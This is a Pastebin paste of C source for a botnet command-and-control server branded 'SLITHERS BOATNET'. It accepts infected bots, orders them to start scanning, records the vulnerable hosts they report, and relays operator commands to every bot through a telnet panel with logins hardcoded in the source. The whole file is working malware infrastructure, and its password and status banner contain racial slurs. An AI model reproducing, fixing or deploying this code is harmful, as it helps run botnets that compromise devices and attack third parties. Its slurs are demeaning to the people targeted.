Advertisement
Guest User

server.c

a guest
Mar 15th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.44 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15.  
  16. //Admin-Config
  17. #define MY_MGM_ADMINP "slitherthenigger"
  18. #define MY_MGM_ADMINU "slither"
  19. #define MY_MGM_MATENP "GodSec"
  20. #define MY_MGM_MATENU "ZoneHax"
  21. #define MY_MGM_USERP "GodSec"
  22. #define MY_MGM_USERU "ZoneHax"
  23. #define MY_MGM_GUESTP "GodSec"
  24. #define MY_MGM_GUESTU "ZoneHax"
  25. #define MY_MGM_PORT 43
  26.  
  27. #define MAXFDS 1000000
  28. char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
  29. struct clientdata_t {
  30. uint32_t ip;
  31. char build[7];
  32. char connected;
  33. } clients[MAXFDS];
  34. struct telnetdata_t {
  35. int connected;
  36. } managements[MAXFDS];
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int managesConnected = 0;
  41. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  42. {
  43. int total = 0, got = 1;
  44. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  45. return got;
  46. }
  47. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  48. {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57.  
  58.  
  59. static int make_socket_non_blocking (int sfd)
  60. { // man fcntl
  61. int flags, s;
  62. flags = fcntl (sfd, F_GETFL, 0);
  63. if (flags == -1)
  64. {
  65. perror ("fcntl");
  66. return -1;
  67. }
  68. flags |= O_NONBLOCK;
  69. /*
  70. F_SETFL (int)
  71. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  72. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  73. */
  74. s = fcntl (sfd, F_SETFL, flags);
  75. if (s == -1)
  76. {
  77. perror ("fcntl");
  78. return -1;
  79. }
  80. return 0;
  81. }
  82.  
  83.  
  84. static int create_and_bind (char *port)
  85. {
  86. struct addrinfo hints;
  87. struct addrinfo *result, *rp;
  88. int s, sfd;
  89. memset (&hints, 0, sizeof (struct addrinfo));
  90. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  91. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  92. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  93. s = getaddrinfo (NULL, port, &hints, &result);
  94. if (s != 0)
  95. {
  96. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  97. return -1;
  98. }
  99. for (rp = result; rp != NULL; rp = rp->ai_next)
  100. {
  101. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  102. if (sfd == -1) continue;
  103. int yes = 1;
  104. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  105. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  106. if (s == 0)
  107. {
  108. break;
  109. }
  110. close (sfd);
  111. }
  112. if (rp == NULL)
  113. {
  114. fprintf (stderr, "Could not bind\n");
  115. return -1;
  116. }
  117. freeaddrinfo (result);
  118. return sfd;
  119. }
  120. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  121. {
  122. int sendMGM = 1;
  123. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  124. char *wot = malloc(strlen(msg) + 10);
  125. memset(wot, 0, strlen(msg) + 10);
  126. strcpy(wot, msg);
  127. trim(wot);
  128. time_t rawtime;
  129. struct tm * timeinfo;
  130. time(&rawtime);
  131. timeinfo = localtime(&rawtime);
  132. char *timestamp = asctime(timeinfo);
  133. trim(timestamp);
  134. int i;
  135. for(i = 0; i < MAXFDS; i++)
  136. {
  137. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  138. if(sendMGM && managements[i].connected)
  139.  
  140. {
  141.  
  142. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  143.  
  144. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  145.  
  146. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  147.  
  148. } //just a prompt with a timestamp.
  149. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  150. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  151. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  152. else send(i, "\n", 1, MSG_NOSIGNAL);
  153. }
  154. free(wot);
  155. }
  156.  
  157. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  158. {
  159. struct epoll_event event;
  160. struct epoll_event *events;
  161. int s;
  162. events = calloc (MAXFDS, sizeof event);
  163. while (1)
  164. {
  165. int n, i;
  166. n = epoll_wait (epollFD, events, MAXFDS, -1);
  167. for (i = 0; i < n; i++)
  168. {
  169. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  170. {
  171. clients[events[i].data.fd].connected = 0;
  172. close(events[i].data.fd);
  173. continue;
  174. }
  175. else if (listenFD == events[i].data.fd)
  176. {
  177. while (1)
  178. {
  179. struct sockaddr in_addr;
  180. socklen_t in_len;
  181. int infd, ipIndex;
  182.  
  183. in_len = sizeof in_addr;
  184. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  185. if (infd == -1)
  186. {
  187. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  188. else
  189. {
  190. perror ("accept");
  191. break;
  192. }
  193. }
  194.  
  195. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  196.  
  197. int dup = 0;
  198. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  199. {
  200. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  201.  
  202. if(clients[ipIndex].ip == clients[infd].ip)
  203. {
  204. dup = 1;
  205. break;
  206. }
  207. }
  208.  
  209. if(dup)
  210. {
  211. printf("dup client\n"); // warns the operator on command line
  212. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  213. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  214. close(infd);
  215. continue;
  216. }
  217.  
  218. s = make_socket_non_blocking (infd);
  219. if (s == -1) { close(infd); break; }
  220.  
  221. event.data.fd = infd;
  222. event.events = EPOLLIN | EPOLLET;
  223. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  224. if (s == -1)
  225. {
  226. perror ("epoll_ctl");
  227. close(infd);
  228. break;
  229. }
  230.  
  231. clients[infd].connected = 1;
  232. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  233. }
  234. continue;
  235. }
  236. else
  237. {
  238. int thefd = events[i].data.fd;
  239. struct clientdata_t *client = &(clients[thefd]);
  240. int done = 0;
  241. client->connected = 1;
  242. while (1)
  243. {
  244. ssize_t count;
  245. char buf[2048];
  246. memset(buf, 0, sizeof buf);
  247.  
  248. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  249. {
  250. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  251. trim(buf);
  252. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  253. {
  254. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  255. continue;
  256. }
  257. if(strstr(buf, "BUILD ") == buf)
  258. {
  259. char *build = strstr(buf, "BUILD ") + 6;
  260. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  261. memset(client->build, 0, 7);
  262. strcpy(client->build, build);
  263. continue;
  264. }
  265. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  266. {
  267. char *line = strstr(buf, "REPORT ") + 7;
  268. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  269. fflush(fileFD);
  270. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  271. continue;
  272. }
  273. if(strcmp(buf, "PONG") == 0)
  274. {
  275. //should really add some checking or something but meh
  276. continue;
  277. }
  278.  
  279. printf("buf: \"%s\"\n", buf);
  280. }
  281.  
  282. if (count == -1)
  283. {
  284. if (errno != EAGAIN)
  285. {
  286. done = 1;
  287. }
  288. break;
  289. }
  290. else if (count == 0)
  291. {
  292. done = 1;
  293. break;
  294. }
  295. }
  296.  
  297. if (done)
  298. {
  299. client->connected = 0;
  300. close(thefd);
  301. }
  302. }
  303. }
  304. }
  305. }
  306.  
  307. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  308. {
  309. int i = 0, total = 0;
  310. for(i = 0; i < MAXFDS; i++)
  311. {
  312. if(!clients[i].connected) continue;
  313. total++;
  314. }
  315.  
  316. return total;
  317. }
  318.  
  319. void *titleWriter(void *sock) // just an informational banner
  320. {
  321. // this LOOKS vulnerable, but it's actually not.
  322. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  323. int thefd = (int)sock;
  324. char string[2048];
  325. while(1)
  326. {
  327. memset(string, 0, 2048);
  328. sprintf(string, "%c]0;Bots connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  329. // \007 is a bell character... causes a beep. Why is there a beep here?
  330. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  331.  
  332. sleep(2);
  333. }
  334. }
  335.  
  336.  
  337. void *telnetWorker(void *sock)
  338. {
  339. int thefd = (int)sock;
  340. managesConnected++;
  341. pthread_t title;
  342. char buf[2048];
  343. char* nickstring;
  344. memset(buf, 0, sizeof buf);
  345.  
  346. if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  347. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  348. trim(buf);
  349. nickstring = ("%s", buf);
  350. if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
  351. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  352. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  353. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  354. trim(buf);
  355. if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
  356. memset(buf, 0, 2048);
  357. goto fak;
  358. }
  359. else if(strcmp(nickstring, MY_MGM_USERU) == 0){
  360. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  361. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  362. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  363. trim(buf);
  364. if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
  365. memset(buf, 0, 2048);
  366. goto fak;
  367. }
  368. else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
  369. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  370. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  371. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  372. trim(buf);
  373. if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
  374. memset(buf, 0, 2048);
  375. goto fak;
  376. }
  377. else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
  378. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  379. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  380. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  381. trim(buf);
  382. if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
  383. memset(buf, 0, 2048);
  384. goto fak;
  385. }
  386. else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
  387. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  388. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  389. goto end;
  390. }
  391. failed:
  392. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  393. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  394. goto end;
  395. fak:
  396. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  397. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  398. if(send(thefd, "\x1b[1m\x1b[32m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, "* \x1b[32m| ALL ABOARD |\x1b[32m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  400. if(send(thefd, "* \x1b[32mSLITHERS BOATNET\x1b[32m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, "*****************************************\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  402. /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  403. managements[thefd].connected = 1;
  404. while(fdgets(buf, sizeof buf, thefd) > 0)
  405. {
  406. trim(buf);
  407. if(send(thefd, "\x1b[36m$: \x1b[37m", 13, MSG_NOSIGNAL) == -1) goto end;
  408. if(strlen(buf) == 0) continue;
  409. printf("management: \"%s\"\n", buf);
  410. broadcast(buf, thefd); // take a command, send it to the bots
  411. memset(buf, 0, 2048);
  412. }
  413.  
  414. end: // cleanup dead socket
  415. managements[thefd].connected = 0;
  416. close(thefd);
  417. managesConnected--;
  418. }
  419.  
  420. void *telnetListener(void *useless)
  421. {
  422. int sockfd, newsockfd;
  423. socklen_t clilen;
  424. struct sockaddr_in serv_addr, cli_addr;
  425. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  426. if (sockfd < 0) perror("ERROR opening socket");
  427. bzero((char *) &serv_addr, sizeof(serv_addr));
  428. serv_addr.sin_family = AF_INET;
  429. serv_addr.sin_addr.s_addr = INADDR_ANY;
  430. serv_addr.sin_port = htons(MY_MGM_PORT);
  431. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  432. listen(sockfd,5);
  433. clilen = sizeof(cli_addr);
  434. while(1)
  435. {
  436. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  437. if (newsockfd < 0) perror("ERROR on accept");
  438. pthread_t thread;
  439. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  440. }
  441. }
  442.  
  443. int main (int argc, char *argv[])
  444. {
  445. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  446.  
  447. int s, threads;
  448. struct epoll_event event;
  449.  
  450. if (argc != 3)
  451. {
  452. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  453. exit (EXIT_FAILURE);
  454. }
  455. fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  456. threads = atoi(argv[2]);
  457.  
  458. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  459. if (listenFD == -1) abort ();
  460.  
  461. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  462. if (s == -1) abort ();
  463.  
  464.  
  465. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  466. if (s == -1)
  467. {
  468. perror ("listen");
  469. abort ();
  470. }
  471.  
  472. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  473. if (epollFD == -1)
  474. {
  475. perror ("epoll_create");
  476. abort ();
  477. }
  478.  
  479. event.data.fd = listenFD;
  480. event.events = EPOLLIN | EPOLLET;
  481. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  482. if (s == -1)
  483. {
  484. perror ("epoll_ctl");
  485. abort ();
  486. }
  487.  
  488. pthread_t thread[threads + 2];
  489. while(threads--)
  490. {
  491. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  492. }
  493.  
  494. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  495.  
  496. while(1)
  497. {
  498. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  499.  
  500. sleep(60);
  501. }
  502.  
  503. close (listenFD);
  504.  
  505. return EXIT_SUCCESS;
  506. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement